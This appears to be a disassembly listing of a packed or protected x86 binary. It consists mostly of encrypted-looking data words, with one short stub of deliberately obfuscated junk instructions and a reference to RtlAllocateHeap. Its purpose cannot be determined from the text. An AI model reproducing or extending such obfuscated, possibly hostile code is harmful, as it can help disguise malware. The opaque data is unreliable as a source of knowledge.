		dd 7A5FADCBh, 1F4EA989h, 0F7999AC9h, 66D99EA3h,	0F0396756h
		dd 7F58B38Ch, 0A1FF4C32h, 2E4BF498h, 78AD9AE1h,	0BB84F43Dh
		dd 0F0154B6Ah, 2075CEBBh, 92C3800Bh, 741A2F5Dh,	374794D7h
		dd 0C068BE3Ah, 3875D711h, 8CB5EB54h, 0E32C4700h, 0E27DAE99h
		dd 3, 7773CB50h, 0C3E83D06h, 105D8EB9h,	618EDF68h, 0B4F92A19h
		dd 3287DCAh, 529FCC7Bh,	0A2CF1C27h, 0F03D6EDDh,	696FBC8Bh
		dd 5E08950h, 4,	8704E883h, 248B2404h, 9776824h,	2C890000h
		dd 4ACB6824h, 3C890000h, 2EE26824h, 4890000h, 6714B824h
		dd 0D2BD6EFEh, 1972BD1h, 0EC8358C5h, 24248904h,	4240481h
		dd 5F000000h, 5D0E68h, 241C8900h, 8BBh,	89FB0100h, 34FF5B2Bh
		dd 0C4835F24h, 242C8B04h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 0F844A6E9h, 0CE15ACFFh, 0E84DD8A6h, 0C8B85A00h, 3062A3Dh
		dd 9BE0FFC5h, 7B7DE419h, 0E657E551h, 8A1CA42Ch,	23390FA1h
		dd 414EFFB4h, 9C2BD783h, 0B9239BC0h, 354E9334h,	257D13F1h
		dd 0B376329Dh, 0A211123Bh, 0E547AFD0h, 7449DB3Ah, 7C0DD7BCh
		dd 0EE4B9169h, 3A1947C3h, 1A1C8779h, 7A4C2FBDh,	455E303Dh
		dd 9E25BF22h, 605BB976h, 17571133h, 7B058E4Eh, 223E9D65h
		dd 0E63EBE8h, 6F314151h, 3731C8CCh, 0E43BCB11h,	0EB46509Ah
		dd 1570B58Eh, 331C840Fh, 0E942E86Bh, 3Dh, 0AD77E51h, 416C7452h
		dd 636F6C6Ch, 48657461h, 706165h, 140000h, 9 dup(0)
		dd 111AE900h, 40680000h, 0E9062A41h, 0FFF843C3h, 2A422568h
		dd 43B9E906h, 6F68FFF8h, 0E9062A44h, 0FFF843AFh, 2A457468h
		dd 43A5E906h, 0AC68FFF8h, 0E9062A48h, 0FFF8439Bh, 2A493E68h
		dd 4391E906h, 8268FFF8h, 0E9062A49h, 0FFF84387h, 2A4A8F68h
		dd 437DE906h, 4268FFF8h, 0E9062A4Bh, 0FFF84373h, 2A4BC768h
		dd 4369E906h, 8168FFF8h, 0E9062A4Dh, 0FFF8435Fh, 2A4EA968h
		dd 4355E906h, 94F9FFF8h, 2C5F40ABh, 0C4CBF41Fh,	56236C87h
		dd 0F19D82EDh, 2DCF3B52h, 42AD9AE4h, 0F71E2D5Dh, 6A85BECAh
		dd 85EC5725h, 5B6F3D5Ah, 0BE411004h, 5770818h, 0B8C4E93Ah
		dd 67115E8Fh, 3B1622FAh, 0B0FB473Ah, 3CE802CBh,	96C9B23Fh
		dd 0E602CF45h, 0FE632966h, 3A811A2Eh, 7DBCFF47h, 0F706B728h
		dd 75EB8B10h, 0B9C3EE32h, 543A678Eh, 0FA8592F7h, 0EBCC174Dh
		dd 3D63E0AEh, 6EBF88F4h, 0E7003B41h, 0D7C8971Eh, 0A0FC8794h
		dd 59A65DBFh, 53876C00h, 43504918h, 9EDD0E39h, 2AC2D742h
		dd 4118221Eh, 6079B8F3h, 8DDE6913h, 2B3B37D4h, 418045C8h
		dd 0EA3ACA13h, 144118F6h, 89C40B6Dh, 2C4BD10Ah,	35h, 42AB58FAh
		dd 3A3B9EAAh, 0F9387347h, 41DB0CE0h, 79344918h,	31749854h
		dd 0CF8A4118h, 0D1EB66A9h, 0FCE4BD1h, 0E9000001h, 0D547DEACh
		dd 41183D85h, 0DE024568h, 34057706h, 81AEFF48h,	760F4EFDh
		dd 4347A7D7h, 5F8CCFC2h, 8EDF6C12h, 0C7201B61h,	0CCA0C5CAh
		dd 473A71BCh, 0CA1B5A51h, 371466ABh, 0ED9FDCE9h, 98693B52h
		dd 79473A7Dh, 0EA592613h, 3F0874B9h, 4D8CCFEEh,	0BA8FFD22h
		dd 0E23372D1h, 45A2F1E2h, 181FBCD7h, 7B04A149h,	1D5C9FCCh
		dd 0ACF1E2F2h, 84EBDBDEh, 746B50F5h, 0C3CBE035h, 0E5024584h
		dd 95AFC780h, 0E5C3E989h, 0E212EDBFh, 0FE234F3Ch, 7D351A2Eh
		dd 0C7BCFF4Bh, 319D6B9Bh, 62DF05F2h, 0E4C92E4Bh, 7D47E008h
		dd 7AA6154Bh, 99F04F3Fh, 0B9C15B80h, 5C4B7D47h,	0DD6A1051h
		dd 37147A87h, 90E26F43h, 5CA3FCEFh, 0E52h, 92FD4637h, 661DEADh
		dd 0BEC97619h, 0D43F0871h, 4DA4A3EBh, 4C327B7Dh, 0DFAB94FFh
		dd 70180960h, 973BCD7h,	4B2CD73Eh, 107A89D1h, 7EA66C41h
		dd 96A27A5Fh, 7B473A3Bh, 0B9C5EC30h, 4E3E638Ah,	77B691FBh
		dd 0AB58861Ch, 0D1DE0364h, 0B8429EADh, 491841B7h, 34C01598h
		dd 411830E0h, 0F215531Eh, 4BD1D07Fh, 0C55Ah, 577C000h
		dd 0BAC4E93Ah, 0C4FFC83h, 61DAAEEBh, 0D75AEA33h, 60473A37h
		dd 0DC299AA7h, 0F415FCC3h, 3A3E1038h, 6AB60547h, 0EB023D4Fh
		dd 386DD6A6h, 0BFD827DCh, 1855E2EDh, 29406B49h,	0B2D71CD7h
		dd 171141D1h, 64B887D8h, 3D2FA775h, 7B324F3Ch, 7F48391Eh
		dd 38A84B08h, 0FA287020h, 87154B7Dh, 4B7DFA73h,	832A17A6h
		dd 8FFF3C5Dh, 266859B0h, 9D535119h, 0CFD8EF90h,	0D6D70h
		dd 102B5200h, 84C3C8F9h, 0EC5B246Dh, 52ED9C85h,	0BB88F63Bh
		dd 5D965650h, 0B6FB1231h, 236C87C4h, 9E83EA55h,	333A55EEh
		dd 79A2F6A6h, 83574110h, 38077763h, 4A7FC8D1h, 53D7DC5Ch
		dd 0C6B6F321h, 805127Dh, 5796C780h, 5777509h, 87ECE93Ah
		dd 3A3BC515h, 0C9A32847h, 473A3BA1h, 0FA265954h, 1572CDBFh
		dd 3B2C7C30h, 0EAC1473Ah, 0ABFBADB6h, 0B6473A3Bh, 2D127DC6h
		dd 63DF5E5Fh, 0BF41C38Fh, 0C52A2F7Ch, 3A770357h, 0AF7DF647h
		dd 7CEA7D2Eh, 676BBFAh,	97CDE83Dh, 0F419226Ah, 0E044A4ADh
		dd 6146A39Ch, 3ABE7F8Bh, 0D61B9247h, 2B4A9BA8h,	1548EAF5h
		dd 0A051F357h, 0A2h, 64AB586Eh,	9E83F603h, 3A3BFA0Eh, 5D9C1F47h
		dd 0E95AD207h, 0C6491827h, 0C616A6F7h, 0DB41180Eh, 52F19EAFh
		dd 0DDADC213h, 0ED3D6Eh, 8BEE42E8h, 0A98663Ah, 543CB982h
		dd 0B3BEE24Ah, 35F1235h, 5B7A4BD1h, 0A0000000h,	3A3BC7E8h
		dd 0B7FCF747h, 1FE1DA52h, 0EFCE4918h, 54F39B84h, 0C9B5C207h
		dd 3F34267Ah, 163246D6h, 0D4E74118h, 52277495h,	177A4E9h
		dd 0B8D90746h, 3A367FE4h, 0ACCDE04Fh, 0A93BB7DBh, 114FB98Fh
		dd 8CB7C1CEh, 0F7463D5Fh, 6485C483h, 5CF16388h,	0CE199445h
		dd 8E213h, 0AB58C300h, 22690364h, 0CB491850h, 4C85BECEh
		dd 95D00542h, 0BEDBD24Fh, 53246DC5h, 5488FC20h,	3F536331h
		dd 24AD4118h, 404B48C4h, 4D93D203h, 0D1D394C9h,	0D214Bh
		dd 0E8E90000h, 473A3BC4h, 0FBF848D7h, 5FBAFFFFh, 66132652h
		dd 2A6D88DDh, 7DCAB4F9h, 0FFF4E63Ah, 0C2C557B0h, 0CB49181Ah
		dd 0DDE1B3E0h, 23411819h, 520F42A6h, 674BD1B5h,	4E8h, 9715D3AFh
		dd 257297DCh, 0A7AAF655h, 1828AAF5h, 0BA585349h, 5F1819E8h
		dd 0D11ED5D9h, 0B1D953B8h, 64E8DD5Fh, 0E1C60B49h, 65AE594h
		dd 0FF711B64h, 64A904E6h, 1A9E6B18h, 0CF6652DAh, 47EF0D6Eh
		dd 0F76C5DBEh, 7D953B4h, 1AFF1598h, 0B0117693h,	2EE396B7h
		dd 3D0A74B5h, 0F19BA6FAh, 0DDDA3F56h, 244794AFh, 7E665Fh
		dd 97CDC1C3h, 5119226Ah, 3FA99449h, 237EC1D2h, 1800000Bh
		dd 7EA3CA75h, 0EAD73E0Dh, 424FA6A5h, 0BCE50C37h, 2C1A75D2h
		dd 0CC7B034Ch, 310E7CA5h, 0A49FE9D6h, 0F38444Dh, 801C7DE4h
		dd 41107F78h, 7729F99Dh, 0FC4B3405h, 2E6B68BDh,	5ABCE05Bh
		dd 6F3D5AA9h, 4918358Ch, 0E9579081h, 9E5F8A83h,	5297A379h
		dd 337A4118h, 682E97F0h, 0D829A05Eh, 0CE1A92F7h, 234118DBh
		dd 8055488h, 63ACC780h,	2BF92A15h, 4118DB1Fh, 18AB499Dh
		dd 3B887B41h, 0A3494EDEh, 6F4E4F3Ah, 0C17E0D0Ah, 0FA03519Ch
		dd 7F331A2Ah, 0FB7DE44Bh, 0AED399D4h, 233C45h, 58EA0000h
		dd 690364ABh, 491844BAh, 227626ABh, 0F411823h, 18234D9Dh
		dd 340DA041h, 0A154679h, 35h, 64AB58F8h, 4ACA6903h, 7E3B4918h
		dd 0C0E3300Bh, 2AA5F5A7h, 65484118h, 0AF94F122h, 182AADFDh
		dd 0F4049841h, 1941182Ah, 0E90EAD92h, 182AE733h, 7DA30A41h
		dd 3A0577A1h, 0D85E5C4Ch, 41D8E9FBh, 0A1Eh, 0A6C17A03h
		dd 0DA351279h, 729DAAD5h, 0E8033C4Dh, 168D7A7h,	800E4729h
		dd 1367A8C3h, 0A4D4DD34h, 3D4F709Bh, 1760EB02h,	107E7585h
		dd 32F29841h, 364AB58h,	181AB669h, 0C714A749h, 0E59E2AAh
		dd 0DD13CD9Eh, 0B309FA6Fh, 0E15114Eh, 0BFB1DBF9h, 540F1178h
		dd 6D32EA0Fh, 926475D2h, 348DCA1Bh, 40AB1077h, 9DA4F839h
		dd 263651EEh, 5C81E62Dh, 0D93827EBh, 0A56BAF6h,	97165B70h
		dd 18713C7Ah, 66517933h, 0E9C47E8Bh, 0FA6E560Ch, 74A82D92h
		dd 5DCF3451h, 7E8B8E0Dh, 0F597CDE0h, 7E8B8EA1h,	0F656925Fh
		dd 0D854D1B9h, 7E8B8EB0h, 0C6175665h, 2766E5A9h, 23205DF9h
		dd 4BB51842h, 20000001h, 10156667h, 1587F8BFh, 7E8B3AC5h
		dd 1E428528h, 64AB5846h, 1AB66903h, 0AEA74918h,	0DE13CA9h
		dd 13305FD2h, 2160A3C2h, 72CDBFFCh, 0C9761815h,	0D83B5984h
		dd 0F6029AFFh, 1B411866h, 57254C90h, 5AEDBFECh,	0F86FDD6Ch
		dd 0D0F8B499h, 456A57A3h, 4F9B1176h, 0A26A57A3h, 0C6CD50Bh
		dd 0B0DB6428h, 0A3226AA7h, 0F59F6B55h, 568ACD59h, 0B5E6612Bh
		dd 925554E7h, 6454944h,	48F798D5h, 64846D1Bh, 0B21366CEh
		dd 3F5B303Bh, 0FC459B27h, 6BD4B87Ch, 0D26D1F00h, 48374481h
		dd 0FA0E9EFBh, 1F13820Ah, 5B16409Ch, 87D46F1Ah,	28C42564h
		dd 13820A20h, 3441A615h, 0BEA1FF48h, 395EA55Eh,	6CB08FFCh
		dd 1360BF6Dh, 951DA0h, 0E0615C6Ch, 0BBFAB11Dh, 0C37456Ah
		dd 0CDD0BCE5h, 0B46DF15Fh
		dd 7CA1E059h, 2E7A3217h, 0C31DE05Fh, 77B695E6h,	5F539F29h
		dd 0C8D11DE0h, 5FE109E3h, 99141DE0h, 0BA7AFE7Bh, 8E1E69D2h
		dd 41D457C4h, 4CA7EEE2h, 0DD0E3943h, 0D5094B0Fh, 0C6C8507h
		dd 0B0DB6428h, 0E3F7DEA7h, 0CEA2A2F7h, 1A255792h, 8BD88BC9h
		dd 7ACDBE6Eh, 8B221C6Eh, 7A321760h, 1CA27E2Eh, 0AD96E6C3h
		dd 0A6FA3D78h, 4A49h, 0AB58B500h, 83F60364h, 14486BB8h
		dd 44F857C5h, 0CEED4918h, 201F6CA9h, 0F784A9FCh, 0DBD82148h
		dd 954894B3h, 0C78096BEh, 0F4558F63h, 0CA0C50E1h, 0EA3EEE17h
		dd 0F4118D7h, 0F0C6DACh, 5C9FCC7Bh, 75BD100h, 0EA4118D7h
		dd 77CA90C3h, 0FC4B3405h, 914252BDh, 0C4772542h, 0A9491852h
		dd 0E3A8E502h, 741B74DEh, 387B3C5Dh, 0D0B8F5E4h, 65131C77h
		dd 674C89DAh, 8054689Eh, 1CCC13C2h, 4118A7CCh, 0A8F0AC21h
		dd 4D4118A7h, 0E7F12F6Eh, 0AA42A7ECh, 4F3AA949h, 8FDB5146h
		dd 624B7E98h, 9DB084Bh,	4B7EE8E5h, 0B2D71CD7h, 9BACBDD1h
		dd 0E53B555Fh, 8D6338F4h, 3974455Ch, 5D16EF14h,	0A437FD08h
		dd 2777114Fh, 0D9555C14h, 76D1BBF8h, 0C3C90625h, 9BDD2478h
		dd 8DACF974h, 2CDC3Fh, 5F4A0000h, 77EC87E6h, 3F8EFD8h
		dd 0E08E4E24h, 4C8ED2CDh, 562F4897h, 8E13284Bh,	33267A4Ch
		dd 1891AA79h, 0A3F0BB49h, 185Ch, 0AB588600h, 0F627246Ah
		dd 2E1374B7h, 73A19EE1h, 184A0AA9h, 63B0FB49h, 3A0577DBh
		dd 0D85E524Ch, 4FD2E3FBh, 6E6h,	7E89B2DBh, 92FD4A31h, 0A65E2ADh
		dd 0A0CB7405h, 0D9300F7Fh, 0B8C60FD1h, 4B3F608Bh, 0DCAC95FCh
		dd 75070863h, 0DFB8A3CAh, 10733D4Dh, 0EA3AD041h, 748106D3h
		dd 0CCEF3C0Bh, 608D4690h, 0F58983A7h, 41133DF3h, 473AF339h
		dd 0EBEE6BDCh, 3EBE5090h, 0C15BBCFFh, 4918EFB6h, 0E4B65467h
		dd 82DE6B94h, 182754A1h, 6274A8CBh, 57C52271h, 8171FCACh
		dd 8BC91A91h, 0BE6E8BD8h, 8794399Dh, 0D1DE3B72h, 487990ABh
		dd 890FFB44h, 0D6272A1Ch, 6547AC5h, 44490000h, 0DCAF90FBh
		dd 741B046Fh, 673BCD7h,	0A1EDD23Dh, 7D7F4BA2h, 92FD4A34h
		dd 76EDDADh, 0BAD56E1Ah, 0D53C0775h, 8BDF4D2Ah,	6E411072h
		dd 57778A8h, 0A9FA4534h, 0CFBF4B8Ah, 9CFBD85Eh,	610BC83h
		dd 88F50000h, 206B54BFh, 0B8C7C823h, 4A3F608Bh,	0E5A996F1h
		dd 393B0F66h, 56B18EF0h, 0CB222169h, 7E89B2C6h,	99F04B31h
		dd 4793096Eh, 0AA411072h, 5773CE4h, 0F8EBE93Ah,	66DE4EABh
		dd 4B49202Dh, 840A0760h, 95796C7h, 0B8FDF6C6h, 0D02968D7h
		dd 3204FF5Ch, 0BCDDD04Fh, 7BB5C557h, 55584B76h,	1E2EFE0Fh
		dd 0E04B767Bh, 95C8FF79h, 2045A797h, 0D6h, 0A27A5FEEh
		dd 473A3B96h, 0FC45FE8Bh, 2CE263B1h, 91AED0DDh,	155A0943h
		dd 281F38F4h, 6FD84918h, 38FD340Bh, 19104CC8h, 53387592h
		dd 0A788A74Eh, 0A4E7531Bh, 0E00E9C78h, 0F6841914h, 0CC1C90FDh
		dd 21921354h, 0C92E4B8Ah, 54E008E4h, 0A6159213h, 7AD7A07Ah
		dd 4FB89C31h, 0FBAA87A0h, 2D7EB146h, 9AE1342Fh,	9F0D6AADh
		dd 925721FDh, 0E3304964h, 4C49AE99h, 0B7D80443h, 0BC83028Ah
		dd 8BB8C206h, 6B621B5Ah, 0F50597F9h, 18A64B3Ah,	67135295h
		dd 1A675D8Dh, 38699AAh,	0F8000005h, 5E43AA95h, 0CAF71E2Dh
		dd 226F86C5h, 9C85EC57h, 0CC3A55F2h, 0AC9BE32Ch, 112E5C45h
		dd 84BFC9F6h, 0EF58246Dh, 603C5D84h, 41107158h,	0A50919BDh
		dd 0AEh, 0A897E734h, 525FD874h,	5565372Ah, 0B8473A3Bh
		dd 4261B2F5h, 0B807FC1Eh, 2D61CD5Fh, 0A7F44920h, 2B1866D7h
		dd 2B78BBFAh, 42A7E2Eh,	0ECCF4110h, 0D3A5D0ADh,	0E1BD3DB1h
		dd 9B1186B3h, 4110FE4Fh, 0C91A2952h, 0E72695AAh, 3C077582h
		dd 0D9FC4D5h, 4110FEFDh, 3A479D10h, 58A4E952h, 690364ABh
		dd 4F32FE52h, 59BBE8C3h, 680465AAh, 4554FD4Bh, 6509F1BCh
		dd 0F6E96996h, 4505AA5h, 48350000h, 0E0AB94FFh,	78070863h
		dd 0A7FA0CBh, 0A5E9D631h, 797B4FA6h, 96F14E30h,	0B62E1A9h
		dd 0BEC97206h, 0D9300B71h, 87D3492Eh, 6A411070h, 525F7CA4h
		dd 0ACCF1C27h, 0BD119BD7h, 0C311F085h, 3AC01139h, 0C05B6B47h
		dd 7A69473Ah, 0B1C7D435h, 0E9264596h, 297499A6h, 7481E6EBh
		dd 4FDD3A05h, 473AC03Bh, 0E781DFDEh, 4920D63Fh,	956E8B22h
		dd 4E50190Ah, 596CB048h, 2BDF6814h, 0F5AC8C3Dh,	0CB6EF1C2h
		dd 0B0000003h, 161B72CDh, 828FE665h, 0FA274EFDh, 545DB48Fh
		dd 0F4F21D2Ah, 74D3BBF4h, 0D966141Dh, 4CF7818Eh, 0B790FC25h
		dd 28C4955Ch, 41107000h, 77C121F5h, 0DD443405h,	3A3B3B4Fh
		dd 9CDFDE47h, 0B8ED2C4Fh, 92A6765Bh, 87473A3Bh,	0B493FB34h
		dd 2E756E68h, 37E453C9h, 0B0114918h, 555CF338h,	0B38E1999h
		dd 0AA76956Eh, 0A417025Eh, 0BA91DB4Dh, 7BB84268h, 0C6E53611h
		dd 102F5F9Ah, 0E1BBE0F9h, 54093ED9h, 3C0B7F3Ch,	0F49AA7FDh
		dd 33FE5DEDh, 63A27EF6h, 0B4D8D532h, 4D03558Bh,	7737EF06h
		dd 0C4E93A05h, 14648FB8h, 602AAA5Fh, 3597D75Ah,	62B38CFCh
		dd 35E70043h, 4918633Eh, 0CD9FCCEFh, 411812B9h,	386DDAA4h
		dd 68BD86F3h, 82A8C049h, 0C0CECBAEh, 0DE135283h, 254095AEh
		dd 0D3F672FFh, 4BD1AE9Eh, 2F3Bh, 0AB58E300h, 66690364h
		dd 0D7491841h, 37683E4h, 33C1E438h, 411831E3h, 3814541Dh
		dd 313159D3h, 0C9E44118h, 0D1CE838Bh, 27EB4BD1h, 33000001h
		dd 5635E65Fh, 0C52F41C5h, 112A529Fh, 493E87CCh,	0DF6E617Dh
		dd 287DCAB0h, 0FFADCA0Dh, 473ADCABh, 8316F4Eh, 6F94B986h
		dd 0DC46920Ah, 0BAAB473Ah, 0A70D7515h, 135C9FF2h, 7A87DD66h
		dd 0B7E42912h, 0B1137AC5h, 473ACBB0h, 3D0C7CB9h, 85A0F552h
		dd 0B5D21142h, 3B3BD3E7h, 29774647h, 0A8C37C00h, 0F92A1567h
		dd 7E9BE89Bh, 193DC5AEh, 88E3CA49h, 0F7ABBA8h, 85C4E734h
		dd 74548864h, 48B94F3Dh, 34EF9CDBh, 0CC2D6C7Bh,	6980BFCFh
		dd 94E75638h, 0EE2DCEB7h, 1F55471Dh, 0FE342ADCh, 0F8C9EF90h
		dd 21161h, 0BC87F600h, 201F6C55h, 88B7D8C9h, 0FE493061h
		dd 67E4AA97h, 0F13A3A0Ch, 6A57BE8Dh, 0C7C82320h, 327F96B1h
		dd 6F96F14Ah, 7646920Ah, 0E7AB4110h, 1E07773Fh,	3A3B7A8Eh
		dd 0DD1C9F47h, 0B5C557BCh, 58473A3Bh, 54E0B2EFh, 0D0131BB5h
		dd 1176438Ch, 9D28702Ch, 0EECD473Ah, 3A9DEA3Eh,	70AC0F47h
		dd 85F64349h, 315695C6h, 3A9D2F7Bh, 0A8EBC247h,	0E915F64Fh
		dd 0ECEDE885h, 4D4AAFB0h, 91DC013Eh, 7A5FB343h,	3A3B96A2h
		dd 0EC307B47h, 4DAAF9EAh, 0E55E2B68h, 9D2F75B0h, 4918416Ah
		dd 0E9BBE8C3h, 411831C5h, 173ABE3Bh, 4BD1D15Ah,	0CD7Fh
		dd 6C1D1A00h, 53F09ED3h, 577710Dh, 0BAC4E93Ah, 0A58C588Dh
		dd 86473A37h, 0EF2C4DF6h, 3372A3A0h, 3F3246D6h,	0D4E7473Ah
		dd 325A4788h, 0CBB8C409h, 81ADE1A2h, 38D5C04Bh,	3AE54068h
		dd 8108B547h, 175695C6h, 8EF9B3D4h, 9F4918E3h, 0F0E3F51Ch
		dd 55D646A3h, 3A4F3C42h, 71191673h, 2D6281D2h, 75B0E562h
		dd 0A1ED2A2Fh, 38464BA2h, 0B4DD7F0Bh, 390AEF90h, 0E926h
		dd 94AFDE00h, 0F847347Dh, 60DFA091h, 0D6711809h, 3F0C72BFh
		dd 0D912D2D4h, 327F96B5h, 0AF90FB48h, 1A076ED9h, 0B7BEC972h
		dd 753E4A22h, 3FD34110h, 360777E7h, 0A0B9F843h,	0AEF248E7h
		dd 3AC1AAFEh, 976C4F47h, 9FE926FBh, 0F53477A4h,	117BA4AFh
		dd 0B5F45338h, 577C05Ah, 0AED0DD3Ah, 0EA52982Bh, 6396403h
		dd 614683DAh
		dd 3AD77F8Bh, 0C51B9247h, 60CDD0BCh, 97B4DA08h,	0A3FF71EEh
		dd 3C370960h, 1E1A92F7h, 0F3492024h, 36466BB8h,	1587EC0Dh
		dd 411073C5h, 40FF8B28h, 4391D013h, 0D26D1F00h,	557FF381h
		dd 8069445Fh, 87C0CC68h, 0EE59236Ch, 300970BDh,	0BC8BF34Ah
		dd 0CA0D4C6Fh, 0AACEB399h, 0FB83028Ah, 5FD7B540h, 0ECD53C7Fh
		dd 0EB76A7A0h, 16h, 70041DE6h, 0EBFDA76Ah, 3967A6A1h, 2C525F65h
		dd 71AFCE1Fh, 67732F4h,	0B9C3E83Dh, 68105D8Eh, 19618EDFh
		dd 0CAB4F92Ah, 7B03287Dh, 27529FCCh, 0DDA2CF1Ch, 8BF03D6Eh
		db 0BCh, 6Fh, 69h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	5A78h
		mov	[esp], edi
		push	4651h
		mov	[esp], ecx
		push	62A3F8Eh
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		add	dword ptr [esp], 75CD499Ch
		pop	dword ptr [ecx+8]
		push	esi
		mov	esi, 68F1424Eh
		dec	esi
		sub	esi, 0F323F8B1h
		sub	[ecx+8], esi
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		db 65h,	9, 0A0h
		dd 2A4FB7B8h, 0FFC50306h, 17E148E0h, 903F2E3Eh,	9CA3A04Fh
		dd 2E372E43h, 438B880Dh, 0D2954409h, 82A1241Ch,	75795C05h
		dd 9026EB34h, 5CD7CD4Dh, 361A9A2Fh, 2365A210h, 0F3D9066Eh
		dd 10F17A1Dh, 7CBED942h, 3A1C3874h, 6229C843h, 6148D93Fh
		dd 0A77A5E04h, 0C126B546h, 7B4E765Ch, 3F8D8D1Dh, 6A062A51h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0C4B7C350h, 40BA36A7h, 0D59D8B64h, 8906221Dh
		dd 2233F18Dh, 0FF38A06h, 85C7D7BFh, 6222D31h, 6C28h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0ACC35242h, 0D7FD4533h
		dd 0E585C7A4h, 62230h, 9000000h, 2228FD85h, 10860F06h
		dd 0E9000000h, 0Bh, 0B625F682h,	0FD67697Fh, 0FF7409B1h
		dd 221281B5h, 10E906h, 7BC40000h, 3A1CED59h, 0A0096590h
		dd 9A9D24F3h, 95FF6C92h, 6222065h, 95FF006Ah, 6223075h
		dd 2FEBC08Bh, 644986C5h, 5176041Bh, 0E9B68D7h, 657914C6h
		dd 9215E8E8h, 0B6B9CFADh, 0A11D8C9Bh, 765EA833h, 7832EB3Bh
		dd 0C74F99D2h, 1E529DACh, 8DBAD141h, 2A51EE8Dh,	0F18D8906h
		dd 6A062233h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0E96AC351h, 0D0BF0F36h, 2D3185C7h
		dd 6E740622h, 8B600000h, 221AF1B5h, 0EE906h, 704C0000h
		dd 0B0FEE8ABh, 36A02634h, 0D4688AFDh, 0E585C761h, 62230h
		dd 0F000000h, 0B5FFDBB7h, 6220A85h, 2FDD852Bh, 95FF0622h
		dd 6222065h, 6A7AC480h,	7595FF00h, 8B062230h, 651EEBC0h
		dd 0D50175FAh, 0E79F403Bh, 97F947B0h, 1DC2565Bh, 93C79C47h
		dd 3EEC8158h, 191E1A26h, 10E911h, 7B860000h, 49B6h, 2 dup(0)
		dd 11E90000h, 5C000006h, 0B2FF1631h, 2E137AC9h,	868BE261h
		dd 0F02148F3h, 5056B18Eh, 8374790h, 7DCAB0E1h, 0E05B2D12h
		dd 4BF49889h, 0CCA03920h, 411069BCh, 7765BD51h,	0C4E93A05h
		dd 0BC1237BAh, 96B49004h, 89F33C57h, 3C406DBEh,	0E17F820Dh
		dd 0BFAF4B7Ah, 64A9E82Bh, 0D6074437h, 449F699h,	4A9BA8D7h
		dd 71B33538h, 0BF1300Bh, 0E2AA8AEEh, 77010E59h,	1A6EABCCh
		dd 63B1FC21h, 0FE493F60h, 53EC9C99h, 0E1AEE302h, 0C2EF3E62h
		dd 49F685B8h, 41A6D904h, 0F178801Ch, 1E9D473Ah,	2BD35565h
		dd 124E6B8Ah, 6AD9A6CBh, 0BB84F439h, 7DFB666Ah,	2968D7A7h
		dd 3616521Fh, 0E0B2764Dh, 3D78AD9Ah, 19059740h,	71CABEFBh
		dd 0D8632916h, 39414E8Bh, 0E334D60Ah, 4B473A35h, 79CA42A6h
		dd 3ECA5E5Ch, 0B460BCD1h, 51F302B9h, 4F1Ch, 5770A00h, 87ECE93Ah
		dd 3A3BC515h, 5F852847h, 3A3B7F8Dh, 0CC2CD547h,	0F3DBC885h
		dd 1ED51h, 77350000h, 0D9164704h, 2B4095B2h, 0C0B0E55Eh
		dd 2655CF29h, 0ACE9CE19h, 4D3667E0h, 0A4858AC7h, 9461A039h
		dd 2A0797DBh, 0CFEA36E3h, 0B36B82BDh, 49360777h, 4B8AA9FAh
		dd 0BFA6D51Ah, 3BB6C25Ah, 505B473Ah, 3A3B7880h,	69109D47h
		dd 0F5C9FDEh, 78AD96E2h, 58424733h, 85FA5891h, 10C01554h
		dd 4C8B9FD9h, 0FF8FA5C3h, 9EEA2740h, 231C6CA5h,	626DB3F2h
		dd 0A7F44F3Dh, 1546058Ah, 87ED563Bh, 0F70399FBh, 1A473A3Eh
		dd 7CBFEA93h, 1E5AA7FDh, 0F3D286EBh, 845351h, 5FFB0000h
		dd 3B96A27Ah, 307B473Ah, 8AB9C5ECh, 0FA6B1459h,	3A3B1622h
		dd 71B0FB47h, 58B2AF18h, 0D4CC72D4h, 6E8B7D88h,	0E7642A0Ah
		dd 1705C182h, 4D639D33h, 0BBC3CC17h, 0FD3A5F8Ch, 456CB08Bh
		dd 76DA0B34h, 375A6D8Bh, 0A251F36Eh, 61h, 36077768h, 96C70645h
		dd 0C7142F59h, 3459E2AAh, 7BA897E7h, 8CA2C62Bh,	8DFE3B5Eh
		dd 3C406DBEh, 5093D203h, 61C3250Ch, 0E4C92E1Dh,	3A3BE008h
		dd 7AA61547h, 477BD19h,	35461647h, 9D473A3Bh, 0B5C557BCh
		dd 0A8473A3Bh, 0EB0A5BE4h, 241F6956h, 2F75B4F7h, 0EE63A6C2h
		dd 0CB51F3DBh, 1, 81087753h, 45A8BF0Ah,	8EBB41A0h, 5B34BA43h
		dd 14697D6h, 39988F4h, 473A58F7h, 350931Ah, 775BCE0h, 0BC25EF3Ch
		dd 0A897F83Ch, 3F847F41h, 0D6B8F5DAh, 0E912B69h, 3749182Bh
		dd 0D553814Eh, 18673347h, 2ED7E641h, 0F428037Ah, 2D7E3Dh
		dd 67A8C37Ch, 0C0CD2A15h, 0A65F8CBBh, 8BC215BAh, 82DE118Dh
		dd 0A383A97Bh, 969B4118h, 0CDBDFA52h, 0D20E2D7Eh, 2654E597h
		dd 7481E619h, 0F8473706h, 37789BB9h, 84A9FA45h,	0DB1E4FF8h
		dd 3C1179B6h, 6FB5F453h, 0BECE6682h, 95C86A85h,	204BD143h
		dd 174h, 0A27A5FEEh, 473A3B96h,	45D7307Bh, 473A3B35h, 4D8FD5D8h
		dd 0E3304996h, 3B7AAB98h, 0FB38F4E5h, 0EC49182Ah, 2D5F9CC1h
		dd 0D7B8F512h, 3F1A9368h, 7F16D9B4h, 8BF13E21h,	3E4E63B0h
		dd 0F49BD005h, 0A3E90657h, 0DC054B98h, 0C653969Ch, 1F6DAAA2h
		dd 245E6A02h, 0F8B34118h, 2E5E9BB9h, 2558FA15h,	7C4BD1BDh
